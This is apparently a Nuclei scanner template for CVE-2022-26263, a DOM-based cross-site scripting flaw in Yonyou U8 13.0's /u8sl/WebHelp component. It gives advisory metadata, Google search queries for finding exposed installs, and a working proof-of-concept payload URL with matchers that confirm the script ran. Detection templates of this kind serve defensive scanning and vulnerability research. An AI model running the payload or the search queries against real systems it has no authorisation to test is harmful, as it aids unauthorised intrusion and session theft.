Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2022-26263
info:
name: Yonyou U8 13.0 - Cross-Site Scripting
author: edoardottt,theamanrawat
severity: medium
description: |
Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
reference:
- https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-26263
- http://yonyou.com
- https://www.yonyou.com/
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-26263
cwe-id: CWE-79
epss-score: 0.17268
epss-percentile: 0.948
cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
metadata:
verified: true
vendor: yonyou
product: u8\+
google-query:
- inurl:/u8sl/WebHelp
- inurl:/u8sl/webhelp
tags: cve,cve2022,yonyou,xss,headless
headless:
- steps:
- args:
url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
action: navigate
- action: waitload
matchers:
- type: word
words:
- '<frame src="javascript:console.log(document.domain)"'
- 'webhelp4.js'
condition: and
# digest: 4a0a0047304502210087bfc4f4fa9f62d50e0048f80254f32a7d2f7fbd0f497237fcb2972b3fbc61b402207111f2f6314c3702e2d23efc4fdd77c04abacbd9ac705e97d6b5f47fca148823:922c64590222798bb761d5b6d8e72950